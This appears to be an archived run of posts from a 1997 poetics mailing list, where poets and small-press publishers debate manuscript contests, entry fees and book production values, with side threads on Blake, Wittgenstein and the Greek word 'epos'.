Re: Pie Barrage (Rough Margins)
Wed 28 May 1997

Nick, Mark, re tone. I hope that Nick is right that my tone in the Perelman review was not harsh; I think it important to distinguish between critical and harsh tones. Criticism respects the text, whereas harshness tends to go after the author. Perhaps the problem lies in the fact that all the ideas discussed in Perelman's book and my review have names and personalities (that we know) attached to them.

Susan

↑ Index

856. Grant Jenkins
Re: wittgenstein & blake
Wed 28 May 1997

I've been thinking about this quote from Blake recently as well, and I think that both quotes from Blake and Wittgenstein involve a relationship with Being.

I read Blake as demanding an ontological "reality" for the objects of imagination, ie images, ie poetry. Things that can be imagined are real in their own right (which is what I think he means by "truth," that they are themselves. . .). He is battling the distinction between science (truth) and poetry (fiction, imagination).

Wittgenstein, on the other hand, sees language and thought (inseperable for him) as the limit of Being. This seems to reduce the world to a totality of already existing, in his terms, language games, but I think it has the opposite effect. Such as statement leaves room for an Other which is, in Emmanuel Levinas's words, "beyond being." But as Dan Zimmerman suggested, the Other, the unimaginable, insinuates (great word) itself into Being, the realm of language. This is what Derrida and Levinas call the trace.

Too much "philosophy" I think, but there are important coincidences in Joe Duemer's post which are important to considerations of poetics and their impact.

Grant Jenkins
University of Notre Dame

↑ Index

857. Mark Weiss
Re: Book Contests/AN IDEA
Wed 28 May 1997

For the record, I like some of Sun&Moon's, Station Hill's and North Atlantic's books, but I think they'd be embarrassed to be credited with inventing the wheel. While there will always be a lot of fugitive presses with shoddy production values, for at least the last 25 years most presses that survive for more than two or three books print and bind professionally. Check out the annual poetry book show at New York's Poetry Center (or its permanent collection) to see what the production norms are. Or is this a matter of "the world began approximately when I was born"?

> *There were some really exciting ventures before it, mostly 'zines, but you have to put a perfect binding on the book to get people to buy it. There were*

> *ventures... Grossinger published some good early work, and so did Quasha, but you should have seen some of the other books that were coming out, glue disintegrating on the shelf, rusty staples.*

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858. **Fred Muratori**

Why Contests?

Wed 28 May 1997

Given the unsavory experiences lately described here, several folks have questioned why anyone would send mss. to poetry contests at all. Well, for those of us not connected personally with editors, publishers, etc., it's just about the only avenue open for book publication. It's a natural desire for anyone who indulges in creative work to have others experience it, and in the literary world the primary means of presentation and distribution of a body of work-- aside from readings, which however gratifying are local and transitory -- is through a book, and given the realities of how acknowledgement and recognition (not to mention simple respect) is bestowed, preferably a book that isn't self-published (though we all know the rare, famous exceptions to this). And though the Web environment may eventually change this situation, right now it's still mostly self-publishing.

When I plunk down $$ for reading fees and send my manilla envelopes out to PO boxes already crammed with about 50 other mss. received on any given day, I know it's a crapshoot. So what if a majority of individual pieces have already appeared in magazines? So have everyone else's. Most presses -- like Sun & Moon -- just don't read unsolicited mss. anymore, unless they're received as contest entries. The alternatives are (1) send a query with samples -- in my experience this is just begging for a form letter describing the press's insurmountable backlog and prior commitments, or (2) wait till a poem in a magazine catches a publisher's eye, and you're asked to submit a ms. -- also know as the "when hell freezes over" option. No, as infuriating and potentially unfair as contests can be, like LOTTO, they hold out some slim hope for the rest of us.

****

Fred Muratori
([redacted])
Reference Services Division
Olin * Kroch * Uris Libraries
Cornell University
Ithaca, NY 14853
WWW: http://fmref.library.cornell.edu/spectra.html

"The spaces between things keep
getting bigger & more
important."
- John Ashbery

****

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859. David Israel
Re: wittgenstein & blake -Reply
Wed 28 May 1997

Grant Jenkins --

enjoyed your reading (translation, almost) of those two succinct sentences (B & W's) & their respective intentions.

Naturally, terminology at this level is spun out & used variously -- i.e., "Being" (or "truth" -- or even, to a lesser degree, "imagination") are given particular spin by the particular spinner. Thus (for instance), to construe "Being" as including only that which can be included within language, seems interesting though not without some problems.

Imagination as a faculty that "processes material" that's felt to "well up" from subconscious regions of the psyche, is another (related) theme here.

d.i.

↑ Index

860. David Bromige
*shoddy production _values_*
Wed 28 May 1997

Agreed, Dodie, & how vital they were in the 50s and 60s, those poorly mimeographed stonedly stapled non-acid-free paper zines! Not to take anything away from the high standards of Sun & Moon or Black Sparrow. But those raggedy mags were the best some of us deftness-challenged author/editors cd manage, by way of getting the word out. (And half the time the word didnt get out : distribution was dicey. Collating & stapling left some, too wiped out to mail out the library copies when the orders came in.) I have a bunch here, & when I pick up Wild Dog or The End or Tish I feel again the thrill of the authentic, which felt authentic, back then."Trace of/ something" as Creeley has it in a poem. Even today, Mirage, though a cleaner product than those I'm being maudlin over, has something of that old immediacy, esp. when handed to one at a reading, like the evening newspaper.

I guess the sheer volume of sloppiness as the 60s became the 70s phased-out the aura of these olden goldies until what we needed were the production values of Boxcar, Temblor, Avec, or Conjunctions, to name just 4 to indicate far more. Something to say "I really mean this" because the quick-draw of those 60s classics started to look hamfistedly insincere. Or only sincere. An d of course, copy machines were taking over from mimeos. And University

Departments were policing the use of their copy machines AND mimeos, more closely as budgets got cut. (The first thing Pat Nolan said to me when we were introduced to one another on the SSU campus: "Can you let me use the Dept mimeograph machine?" It must have been the good old days still, because evidence suggests that i could. Mind you, he had to enroll & study real hard in return.) David.

↑ Index

861. **dbkk**
Re: Book Contests/AN IDEA
Wed 28 May 1997

At 11:28 AM -0700 5/28/97, Mark Weiss wrote:
>While there will always be a lot of fugitive presses
>with shoddy production values, for at least the last 25 years most presses
>that survive for more than two or three books print and bind professionally.

Or the White Rabbit books from the 60s, those are quite handsome. I have those in mind since SPT's selling Spicer's _Language_. And, Mark, as it's been noted before and I'm sure you'll agree, a number of publications with shoddy production values have been very important--mimeographed, xeroxed, etc. In keeping with the Spicer theme, _Open Space_, for example.

Dodie

↑ Index

862. **Mark Weiss**
Re: Why Contests?
Wed 28 May 1997

Right, it's a difficult situation, but I can tell you that one of Junction's authors came to my attention for the first time when I heard him read and several of the others had become friends or acquaintances before the press existed because I liked their poetry, which I had first learned about at readings. Other books have come by way of recommendations. It's not quite as bad as getting an audience with the pope--the networks of most poetry publishers are informal and easily penetrated. How to put it? Contests that offer a big potential payback (major prize or major press publication) may be worth the outlay.

At 02:34 PM 5/28/97 -0400, you wrote:
>Given the unsavory experiences lately described here, several folks have
>questioned why anyone would send mss. to poetry contests at all. Well, for
>those of us not connected personally with editors, publishers, etc., it's
>just about the only avenue open for book publication. It's a natural

>desire for anyone who indulges in creative work to have others experience
>it, and in the literary world the primary means of presentation and
>distribution of a body of work-- aside from readings, which however
>gratifying are local and transitory -- is through a book, and given the
>realities of how acknowledgement and recognition (not to mention simple
>respect) is bestowed, preferably a book that isn't self-published (though
>we all know the rare, famous exceptions to this). And though the Web
>environment may eventually change this situation, right now it's still
>mostly self-publishing.
>
>When I plunk down $$ for reading fees and send my manilla envelopes out to
>PO boxes already crammed with about 50 other mss. received on any given
>day, I know it's a crapshoot. So what if a majority of individual pieces
>have already appeared in magazines? So have everyone else's. Most presses
>-- like Sun & Moon -- just don't read unsolicited mss. anymore, unless
>they're received as contest entries. The alternatives are (1) send a query
>with samples -- in my experience this is just begging for a form letter
>describing the press's insurmountable backlog and prior commitments, or (2)
>wait till a poem in a magazine catches a publisher's eye, and you're asked
>to submit a ms. -- also know as the "when hell freezes over" option. No,
>as infuriating and potentially unfair as contests can be, like LOTTO, they
>hold out some slim hope for the rest of us.
>
>**********
>Fred Muratori "The spaces between things keep
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>WWW: http://fmref.library.cornell.edu/spectra.html
>**********
>
>

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863. **Mark Weiss**
Re: Book Contests/AN IDEA
Wed 28 May 1997

Right you are--and a whole lot of smaller Duncan titles, and what is arguably Wieners' best poem, "We Were There," in its first and I think best version, produced by I forget who on stapled construction paper, heaven help us. Also "Asylum Poems." The list could go on for pages. But the general level of production quality has been amazingly high for a long time.

At 11:46 AM 5/28/97 -0700, you wrote:
>At 11:28 AM -0700 5/28/97, Mark Weiss wrote:
>>While there will always be a lot of fugitive presses
>>with shoddy production values, for at least the last 25 years most presses
>>that survive for more than two or three books print and bind professionally.
>
>Or the White Rabbit books from the 60s, those are quite handsome. I have
>those in mind since SPT's selling Spicer's _Language_. And, Mark, as it's
>been noted before and I'm sure you'll agree, a number of publications with
>shoddy production values have been very important--mimeographed, xeroxed,
>etc. In keeping with the Spicer theme, _Open Space_, for example.
>
>
>Dodie
>
>

↑ Index

864. **David Israel**
Re: Why Contests?
Wed 28 May 1997

Fred --

<< It's a natural desire for anyone who indulges in creative work to have others experience it, and in the literary world the primary means of presentation and distribution of a body of work. . . is through a book. . ."

Last night I spent a while polishing out a (more anecdotal) response, the gist being along kindred lines to those you've sketched. As I finished the screed, a computer crash zapped it to the oblivion whence it had just arisen. Talk about nonbeing. [if that's possible, Mr. W.]

Back when (not long ago) I mailed MSS to the Yale Series of Younger Poets (being then pre-40, I'd've been so construed by Yale's rules), I knew of these poets

who'd (as jargon wd have it) "launched careers" via that same charmed portal: W.S. Merwin, John Ashbery, Robert Hass, Carolyn Forche -- estimable enough company (I felt).

Having spent some years in the 80s "building a resume" as arts-journalist (w/ modest results), and having been hit hard[er] by the poetry bug into the early 90s, I was rather loathe to paper my walls w/ rejection slips from periodicals. Instead, I mainly tinkered out MSS, -- and I dare say that fanciful notion of publication by the Yalies afforded a frame for those secluded efforts. A happy exercise, not regretted (tho repeated receipt of those standard no-thanks letters tends to stifle enthusiasm).

Point: majority of entrants in such MS contests are folk who've had zero poetry-books published (that's indeed Yale Series rule #1, #2 being their 40-year cut-off) -- or (for certain contests) a single vol. somewhere. Some series only accept MSS from those in category zero or category one (so to sprach); still other such series are more catholic in their tonnage.

I recall getting a condolence note from the Nat'l Poetry Series, mentioning that they received, that year 1,200 manuscripts. (As a consortium of five decent poetry publishers, each branch juried by its own poet-judge, that Series holds especially broad allure.)

So, yep: it's the great unwashed -- un- (or under)published hoi polloi of scribblers who keep those little water-wheels turning. If retrospectively the contest game looks ludicrous, that's perhaps a particular instance of a darn general phenomenon.

Haven't looked at what Sun & Moon has issued in the brief span of its contest procedure, but no doubt Doug Messerli and his brood are up to some good. Surely the aim is to open a more experimentalist niche in the little wall of niches. As for allegations re: Jorie's recent (poss.) faux pas, while embarrassing, these needn't, meseems, be extrapolated out to the whole gameboard.

d.i.

p.s. to Mark Weiss -- it's hard to get thru to the Pope? (This deserves a proper Pope joke, but I lack the muster at the moment.)

↑ Index

865. **Jay Schwartz**
SF Writing Scene/ The Idiom Group
Wed 28 May 1997

I want to put in a plug for a new, fantastic poetry website called Idiom. This is the URL:

http://www.dnai.com/~idiom

This site is the container for work by a group called Idiom, made up of mostly younger San Francisco poets clustered around New College, Berkeley, and New Langton Arts. Idiom is producing great chapbooks including work by Renee Gladman, Ed Berrigan, and Lauren Gudath, and has hosted workshops and reading events for the past few years. An incredible amount of energetic writing is happening in San Francisco right now, and Idiom is a great source for exploration.

Thanks for listening. Enjoy the site.

Jay Schwartz

↑ Index

866. **Mark Weiss**
Re: Why Contests?
Wed 28 May 1997

To paraphrase--the only pope is the pope of icecream--and you get a nifty stick for free!

> *p.s. to Mark Weiss -- it's hard to get thru to the Pope? (This deserves a proper Pope joke, but I lack the muster at the moment.)*

↑ Index

867. **Hugh Steinberg**
Re: Book Contests/AN IDEA
Wed 28 May 1997

>At 11:28 AM -0700 5/28/97, Mark Weiss wrote:
>>While there will always be a lot of fugitive presses
>>with shoddy production values, for at least the last 25 years most presses
>>that survive for more than two or three books print and bind professionally.
>
And Dodie responded:

>Or the White Rabbit books from the 60s, those are quite handsome. I have
>those in mind since SPT's selling Spicer's _Language_. And, Mark, as it's
>been noted before and I'm sure you'll agree, a number of publications with
>shoddy production values have been very important--mimeographed, xeroxed,
>etc. In keeping with the Spicer theme, _Open Space_, for example.
>

>
I have to agree. While we can worship production values, this is rapidly being checked by the sheer economic difficulty of producing those shiny perfect bound books at approximately 5K a pop. We produce JackLeg for $200 bucks, bind it with nuts and bolts, and it sells quite nicely, thank you very much. Even if it didn't, we're not going to lose sleep over the lost money. This lets us focus on what's really important, which is the writing.

As for contests, Luis Rodriguez started Tia Chucha precisely because no one was willing to publish his book. After spending a lot of money on contests, he decided to publish the book himself, which went on to win the PEN/Josephine Miles award.

Poetry often works best when it bubbles up, not when it trickles down.

Hugh Steinberg

↑ Index

868. George Thompson
Re: epic redux/etymology
Wed 28 May 1997

I've been hitting up classicists for responses to my "epic" story. Maybe you know what that's like [mostly irrelevant advice, but there've been a few good comments]. In any case my view of "epic" still stands, and here is an attempt to summarize it more clearly [after that advice and some reflection], which Joe Safdie has coaxed out of me. By the way, you all might find it interesting to know that the "bad writing awards" have just found their way onto the Classics List... Gossip... rumor... epic... winged words...
>
>I don't remember everything I said last week [I said far too much]. But
>basically what I meant was that the Greek term "epos" [from which we get
>"epic"] covered a much wider range of meanings for the Greeks than our
>term "epic" does for us. The Greeks used this word to refer not only to
>Homer's "epics" but also to Hesiod's poetry, the Homeric hymns [many of
>which are dedicated to goddesses], etc. These all have a common meter
>[dactylic hexameter], which is what holds them together as a set. The
>point is that there is *no thematic unity* that holds them together, but
>rather this formal, metrical, one. Thus for the Greeks "epos" could be
>about any number of things, including [I suggested in a kind of goading
>way, I admit] gossip.
>

>Also, besides refering to a literary genre [defined by meter rather than
>by theme], the term "epos" is just the blanket term for "utterance" in
>Greek. Virtually any thing that might be said in a more or less formal way
>could be called an "epos".
>
>When I was tossing around some late dates [say, post-Christian era] what I
>was trying to say was that only relatively late in the tradition, if at
>all, did the term become more restricted in sense. I am not positive about
>this last point, but I think that the word "epic" as we use it now might
>be something that we owe to Latin writers, who borrowed the term "epicus"
>from the Greeks [this is something that I'm working on with some
>clasicists; no verdict on that yet].
>
>In any case, I don't think that the classical Greeks themselves would
>recognize their own word in our word "epic". Our word "epic" actually may
>be closer in meaning to their word "heroic" or "heroic epic." The cult of
>heroes was a huge concern for the Greeks. I don't deny that at all. And
>certainly that is what Homer is preoccupied with.
>
>Which brings us to Calliope ["she of the beautiful voice"]. Yes, they say
>that she is the muse of epic poetry, but "epic" in the Greek sense, I
>think -- the muse of the dactylic hexameter. She is never mentioned by
>Homer, first appears in Hesiod's 'Theogony' and in a Homeric Hymn [there's
>also a one-line fragment of Sappho that mentions her; too bad, because
>this might suggest that Calliope wasn't *just* an "epic" muse -- Sappho
>isn't "epic" in our sense!]. It is true, though, that Hesiod says she is
>fond of kings. So she may have had a special relationship with "heroic
>epic" in particular. More than that I couldn't say [I don't think very
>much is said about her in the literature].
>
>If the issue pops up again on the list, I might use some of this post to
>clarify my point for others too [I haven't been as clear about all this as
>I would have liked]. I'll delete any ref. or mention of you if you'd like
>me to.
>
>Hope this is of some use to you.
>
>George
>
>

↑ Index

869. **Mark Weiss**
Re: Book Contests/AN IDEA
Wed 28 May 1997

Let me ascribe nobler motives to myself and other publishers for a moment. I'm interested in production (and design) values for four reasons--I can get the books more places, they're more durable, the poets like them better, and I think that the beauty of book-as-object is part of "what's really important." But do it however works for you. By the way, anyone who tells you it costs 5k to produce a book is a fool or a thief.

While we can worship production values, this is rapidly
>being checked by the sheer economic difficulty of producing those shiny
>perfect bound books at approximately 5K a pop. We produce JackLeg for
$200
>bucks, bind it with nuts and bolts, and it sells quite nicely, thank you
>very much. Even if it didn't, we're not going to lose sleep over the lost
>money. This lets us focus on what's really important, which is the
>writing.
>

↑ Index

870. **Maria Damon**
Re: Book Contests/AN IDEA
Wed 28 May 1997

> *Poetry often works best when it bubbles up, not when it trickles down.*
>
> *Hugh Steinberg*

amen to that!

↑ Index

871. **Stephen Vincent**
Re: Book Contests/AN IDEA
Wed 28 May 1997

Dodie Bellamy wrote:

"I don't see how my giving
an accurate account of my
personal experiences is
construed as an attack by you, Mr. Vincent.

Dodie"

This was in response to a piece
in my earlier post:

> *When I started this thread,*
> *I had no intention of seeing*
> *it become what might be*
> *currently interpreted as an*
> *attack etc. on Doug Messerli*
> *and/or Sun & Moon.*

Dear Dodie:

Perhaps my "attack" verb was
too severe an interpetation?
It was not my intent to cast
doubt on your experience of
the Sun & Moon contest. My
concern would be whether
not you initially queried Doug M.
and let him you felt mislead,
upset or whatever. (?) Without
Doug's response to such a
query, or his view of what happened,
I feel like he's been tarred without
a process that would have either:
(1) confirmed your sense of being
wronged
 or, at least,
(2) cured the misunderstanding.

Anyway I'm still curious if there
is a way to cure my own gut dislike
for contest entry fees. I don't know
if I'm basically Scots(ch) -- tight --
or are the contest operators of
America vacuming dry the witless
pockets of American poets as "we"
stream hat, wallet and manuscript
in hand in search of a highly
problematic and stingy grail(?).

Contests aside (win or lose)
I tend to believe good stuff
utlimately wills
(prints) out, aquires a public,
etc. No matter, especially if

you're on the margins, or
still in the aura beyond
the page or book, it's
a long, sweaty haul. But
maybe thatswhatsitabout.

Cheers,
Stephen Vincent

↑ Index

872. Joseph Duemer
Re: Book Contests/AN IDEA
Wed 28 May 1997

In response to Dodie Stephen Vincent wrote:

"Contests aside (win or lose)
I tend to believe good stuff
utlimately wills
(prints) out, aquires a public,
etc. No matter, especially if
you're on the margins, or
still in the aura beyond
the page or book, it's
a long, sweaty haul."

This is a nice dream, but lots of stuff falls into the silence produced by the din of media-writing. Did you see the piece in the NY Times about ghost-writing? If you are a "big name," you're considered a shmuck if you write your own book. There are a lot of ghosts flickering around out there, eating up good poems.

jd

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

873. **Joseph Duemer**
Re: Book Contests/AN IDEA
Wed 28 May 1997

Here's the URL for that NY Times piece, though I'm not sure everybody can get the Times--or they may make you sign up, though so far it's free on the web.

http://www.nytimes.com/books/97/05/25/home/ghost.html

PS even the URL is spooky, like a sentence in some weird anti-poem!

jd

Joseph Duemer
School of Liberal Arts
Clarkson University
Potsdam NY 13699
Phone: [redacted]
Fax: [redacted]
[redacted]

"The honey of heaven may or may not come,
But that of earth both comes and goes at once."
Wallace Stevens

↑ Index

874. **dbkk**
Re: Book Contests/AN IDEA
Wed 28 May 1997

At 9:55 PM -0400 5/28/97, Stephen Vincent wrote:
>My
>concern would be whether
>not you initially queried Doug M.
>and let him you felt mislead,
>upset or whatever. (?)

I think you do have a valid point there, Stephen, but I guess the form letter I received from DM's assistant stunned me, the tackiness of that, not even a form letter from DM himself. And, besides, many women spend years and vast sums of money in therapy to be able to do just that, to directly confront shady treatment--when it happens, not waiting 2 years to bring it up.

As far as contests go for writing, I think they're stupid and meaningless, and it's sad that poets in particular are reduced to having to go that route to break into publishing. But I wouldn't look down on somebody for entering a contest. I recently judged the Bay Guardian fiction contest, and so I've thought about this a lot lately. Though the $200 I received was nice, I did it mostly to get publicity for Small Press Traffic, having "Dodie Bellamy, director of Small Press Traffic," in the paper week after week. Basically, I don't think the contest represents The Best in Bay Area Fiction--what it represents is what three jugdes agreed upon one Friday afternnoon while eating pizza in the Bay Guardian offices. No more no less. The other two judges were a joy to work with, and even though the three of us had radically different aesthetics, the "winners" were remarkably easy to agree upon.

As I was reading the 50 so manuscripts that had been weeded out previously by screeners, I felt a lot of sympathy and pain even for the losers, especially since so many of the most interesting pieces had flaws in them that could easily be rectified with the tiniest bit of feedback. I hated it that some of them might get discouraged. And then there were the ones whom I knew I wouldn't recommend and that the other judges wouldn't recommend, but which, because of their mystery or quirkiness or narrative drive, I read all the way to the end for the pure curiosity and pleasure I was receiving. In a way, I think those should have been the winners--to get me, with a stack of 50 manuscripts looming over me, to read their pieces all the way to the end, regardless.

I think that submitting manuscripts to contests and getting form letters back is so dehumanizing compared to the "old" days of getting a personal, thoughful letter from the editor. Stories you hear about people forming relationships with editors over time, and eventually getting published that way. When I got rejected from Dalkey Archives, for instance, I got such a thoughful, encouraging letter from Stephen Moore that being rejected by Dalkey Archives was a good experience for me. And, I don't think one should be ashamed of one's rejections. Sarah Schulman proudly tells people how she submitted _After Dolores_ twenty-some times before it was accepted and her career was launched. I must admit, though, it's easier to talk about this now that my book *is* being published than before it found a home.

And--I'm sick of talking about this. This is my last post on this subject.

Dodie

↑ Index

875. **Charles Alexander**
book forms
Thu 29 May 1997

Today I'm sorry I started getting the poetics list in digest form, as all these messages on book production values are coming at me all at once at the late end of the day.

But, one thing I wonder about is the equation of 'high-end' production values with "professional" standards. It's just more complicated than that. Some of the highest production values (the mentioned White Rabbit, Toothpaste Press from the mid-70's to mid-80's, and others) were from people coming from a bookmaking/hand printing background, and the values were artisan/craftsperson values, sometimes transcended to become fine art values, as in the case of Johanna Drucker, who worked for a time at the West Coast Print Center but also began to make incredible limited edition handmade books. But some of the mimeo, photocopy, hand-collaged books, etc., with entirely different production values also helped spawn a whole movement in unique and limited artists' books of another kind.

And I wonder, Hugh Steinberg, about your mention of perfect-bound books at 5K a pop, as you put it. Are you doing several thousand copies, or what? Chax has been making handmade books since 1984, but we've also been publishing trade paperbacks (almost all of them smyth-sewn rather than perfect-bound, and smyth-sewing is a bit more expensive) as well since 1989, and never have paid even as much as 2K to produce books in editions of 500 to 1000. But that's strictly printing/binding costs, not counting design which I generally do myself, and not counting the various things which go into overhead.

charles

charles alexander / chax press / [redacted]

↑ Index

876. **Peter Landers**
Re: Book Contests/AN IDEA
Thu 29 May 1997

Mark wrote:
>For the record, I like some of Sun&Moon's, Station Hill's and North
>Atlantic's books, but I think they'd be embarrassed to be credited with
>inventing the wheel. While there will always be a lot of fugitive presses
>with shoddy production values, for at least the last 25 years most
>presses
>that survive for more than two or three books print and bind

>professionally.
>Check out the annual poetry book show at New York's Poetry Center (or its
>permanent collection) to see what the production norms are.
>Or is this a matter of "the world began approximately when I was born"?

I wrote:
>>There were some really exciting ventures before it, mostly 'zines, but
you
>>have to put a perfect binding on the book to get people to buy it. There
were
>>ventures... Grossinger published some good early work, and so did
Quasha,
>>but you should have seen some of the other books that were coming out,
>>glue disintegrating on the shelf, rusty staples.

I'm talking about a different generation.

Pete

↑ Index

877. **Wystan Curnow**
Re: S & M, CHB
Thu 29 May 1997

>David (hi david) I know its Peter you wrote to but I just had to
say WHAT is the title of S & M's Ron book I am thinking-- Wystan.
> Peter, what is the title of S & M's Silliman book? Or are you thinking of
> _The Other Side of the Century_ as where the Djuna Barnes-led reader might
> find Ron?
>

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878. **David Israel**
Re: Book Contests/AN IDEA
Thu 29 May 1997

Dodie wrote --

<<
At 9:55 PM -0400 5/28/97, Stephen Vincent wrote:
>My
>concern would be whether
>not you initially queried Doug M.
>and let him you felt mislead,
>upset or whatever. (?)

I think you do have a valid point there, Stephen, but I guess the form letter I received from DM's assistant stunned me, the tackiness of that, not even a form letter from DM himself. And, besides, many women spend years and vast sums of money in therapy to be able to do just that, to directly confront shady treatment . . .>>

I believe, Dodie, your reference is to a response to a submission for Sun & Moon's annual MS competition? While I don't know details, it strikes me as likely that the administration of such competitions is (I dare say) purposely (& correctly) somewhat removed & secluded from a style suggesting personal involvement (or control) by Douglas Messerli. Why? To strive for the sort of objectivity ("fairness"), the absense of which (or the absence of the appearance of which, at minimum) was so aptly bemoaned in the AWP / Jorie Graham instance recently cited.

Do you see my point? I do know that Sun & Moon's judge of the competition is someone decidedly other than Doug M.; but beyond that, if Doug were to pen nice & agreeable personal chits here & there to his friends who apply, THIS could end up in the Po-world equivalent of the front pages at some point as suggestive of unfair favoritism. In short, that Messerli sees fit to have an assistant handle administrative aspects of that competition, seems rather like a (suitable) response to potential issues of ethical shadiness (or the appearance of same), rather than being a case of personal shadiness.

Another question might involve how many MSS are submitted (also: whether the submissions themselves are "blind," i.e., without mention of authorship on the MS). If S&M received (say) 500 manuscripts, and if this was organized so that an assistant of Doug's were detailed to handle correspondence relating to the process, then there's no reason to assume that Doug was even made aware of those instances in which his friends & acquaintances happened to have work in the running. The competition process indeed operates under constraints that do not apply to the more free-form process of interaction with a publisher outside of the strictures of a competition.

<< As far as contests go for writing, I think they're stupid and meaningless, and it's sad that poets in particular are reduced to having to go that route to break into publishing. But I wouldn't look down on somebody for entering a contest. . . >>

A week or two ago, the topic of entry-fees & competitions came up on another list that I read in digest (that of the Int'l Alliance for Women in Music, IAWM). There was a range of responses -- but many composers noted that they make a point of never participating in such. There was also a discussion of the economics of such competitions (which typically promise a cash award and performance of a winning composer's music). The results of analysis suggested the

likelihood that, in some cases, not only were costs of competitions being covered by entry fees, but that some organizations seemed to subsidize their performance series via funds gathered thru competition entry fees. (The general response to this practice was that of being irked by it.)

Interesting to note these fairly parallel discussions in the two media.

d.i.

↑ Index

879. **Douglas Barbour**

Re: bad? writing? reading?

Thu 29 May 1997

I have to agree with Patrick:

>>Date: Wed, 28 May 1997 09:18:00 -0500
From: "Pritchett,Pat @Silverplume" <[redacted]>
Subject: Re: Fwd: Bad Writing

I'm all for the virtues of clarity, but I'm not sure I agree with this, Mark. It's always seemed to me that original or powerful or compelling writers force the reader to expand by learning how to read their work -- which often appears difficult at first, and perhaps is out of the need to break from what has proceeded it -- and that this, in part, constitutes what we mean by reading. Which is not to justify obscurantism or defend prolixity.

Patrick Pritchett<<

That's certainly how I came to enjoy Derrida, bit by bit & little by little, & then it was fun! Mind you I do read him more the way I read poetry than the way I (usually) read criticism etc. But then, I found that, in a different site, I read Guy Davenport's essays & stories with much the same sense of delight, & reread them for the pleasures of his text.

But some 'difficult' prose styles are more fun than others. To me. Or to you, mon semblable...

==========
==========
Douglas Barbour I see
Department of English only

University of Alberta through the touching of Edmonton Alberta
T6G 2E5 the light [redacted] FAX:[redacted] Luce Irigaray
H: [redacted]

↑ Index

880. **Henry Gould**
Re: bad? writing? reading?
Thu 29 May 1997

These days I am trying to read Ariosto's ORLANDO FURIOSO, with a prose crib and some literary crit alongside. One thing I've learned is that this clarity/obscurity debate goes a long way back, through a lot of variations. Back in them italian days it was between the civic engage humanists and the academic neo-Platonists. Everybody troubled by the crisis of the state, th crisis of the self, the crisis of language. Ariosto deals mysteriously with all this. One of the cruxes of ORLANDO is the limit of crisis - death & madness (or, scriptorial entombment & furor poeticus). The theme was, what's literature "for"... education? Along with, what the heck is it? ... a healing drug/poison? Evasion/madness/escape/closed circle? Pure wind verbiage, excess?

Anyway, the New Critics didn't invent "difficulty" - in some ways, maybe, they domesticated it. What's difficult may not be the allusive, abstruse & innovative - what's truly hard to read might be the denotative & the engage. - Henry

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881. **Rebecca Reynolds**
Re: a writing utensil of one's own
Thu 29 May 1997

A tangential response to schizophrenia/language posts:

My father, who worked at St. Elizabeth's, took a group of his schizophrenic patients to the Mormon Temple outside D.C. one day, and during the course of the visit one of the men peed on the light-blue wall-to-wall carpeting and said gleefully to the tour guide, "oh, look what I did!"

Perhaps this is a case where the impulse and the necessity coincide?

--Rebecca Reynolds

↑ Index

882. **David Kellogg**
Re: a writing utensil of one's own
Thu 29 May 1997

On Thu, 29 May 1997, Rebecca Reynolds wrote:

> *A tangential response to schizophrenia/language posts:*

> *My father, who worked at St. Elizabeth's, took a group of his schizophrenic patients to the Mormon Temple outside D.C. one day, and during the course of the visit one of the men peed on the light-blue wall-to-wall carpeting and said gleefully to the tour guide, "oh, look what I did!"*
>
> *Perhaps this is a case where the impulse and the necessity coincide?*

A further tangent: driving by the Temple on the Beltway there is (or was for most of my childhood) my favorite grafitti ever. Just as the Temple looms overhead, SURRENDER DOROTHY is spray-painted on the side of an overpass.

Cheers,
David
~~~
~~~

884. **Douglas**
Re: Book Contests
Thu 29 May 1997

5/29/97

Dear Friends,

Having just returned from a week and a half
visit to Brazil this morning, I discover that
the New American Poetry and Fiction competitions
have been the subject of some confusion and con-
troversy.

My mail is towering against my desk, so I am going
to attempt to answer the major questions, but I shall
have to been somewhat brief.

First of all, The Contemporary Arts Educational Project
Inc is the nonprofit name of the organization of which
Sun & Moon Press is a program, our major program in fact.
We do have other programs, some of them linked to publishing
others connected with support of readings, the bookstore,
etc. But in reality, the two are entirely interlinked.

As a publisher, one discovers over the years that--if
one feels a commitment, as I do, to continue to publish
authors whom we have previously published and promoted--it
becomes more and more difficult to introduce newer
unpublished authors into one's list. Each year we receive
from 300-500 unsolicited manuscripts. What was happening
before I began the New American Poetry and Fiction compe-
titions, was that it became increasingly difficult simply
to read these manuscripts and they were remaining for long
periods of time in the office, with little chance of pub-
lication. As an author, I shared the feeling of many of
those who submitted: a frustration at having a manuscript
sit on a publishers reading pile for four-eight months,
only to be returned with a simple rejection. Yet, there
was no other way to handle the volume of manuscripts we
received; and there was no money to hire someone else
to read them, even if I had highly trusted that reader's
intuition.

At the same time, there was little possibility that
new authors could be introduced into our list. The competitions

seemed a solution. By requiring a relatively inexpensive entry fee, the entrants themselves would help to pay for the publication of a selected manuscript that would represent someone outside of the group of American authors already published by the press. And--perhaps most importantly--all mansucripts would receive a true reading.

In poetry indeed,this has worked very nicely. In fiction, however, it became apparent that it would be very difficult to find an outside reader. Indeed it became impossible to find a reader (whom we could not afford to pay) who would commit to reading 100+ manuscripts. I asked several ficiton writers who simply could not commit the time needed to read that many manuscipts. So, I became that reader.

In all of this Dodie is, accordingly, quite accurate. She was encouraged to send an entry fee (without it, we could not have even considered publishing her work), and she was told that there would be an outside reader, and there was not. I feel, perhaps, that the only error I made was not notifying everyone who had entered that I indeed was the reader (although I would remind them, that had they submitted the manuscript in years earlier, I also would have been the only reader). As most of you know, this has not at all been the case in poetry, where it has been easier to find readers. I will try even harder this next year to find a qualified outside reader for the competition, and I am certainly open to suggestions.

In fact, Dodie's reader (myself) was sympathetic to her work. It simply was not chosen.

I do feel, however, that the competitions have allowed writers to be published that we could otherwise not have published. Even though the application fees do not pay for even 1/2 of the actual publication costs, it does help fund the books, and it does allow us to open Sun & Moon Press to American writers whose work would otherwise receive a cursory reading or be rejected out of hand for lack of funds.

I have listed below the winners of the New American Poetry and Fiction competitions to date.

1995 (judges: Rae Armantrout and Charles Bernstein)
Noon, by Cole Swensen
Polyverse, by Lee Ann Brown

[both of these titles will be published this summer]

1996 (judge: Bruce Andrews)
Metropolis, by Rob Fitterman

1997 (judge: Dennis Phillips)
Letters to Unifinsihed J., by Sheila Murphy

FICTION

1996
Possessed by a Demon, by Elena Greenfield

1997
The Words, by Carla Harryman

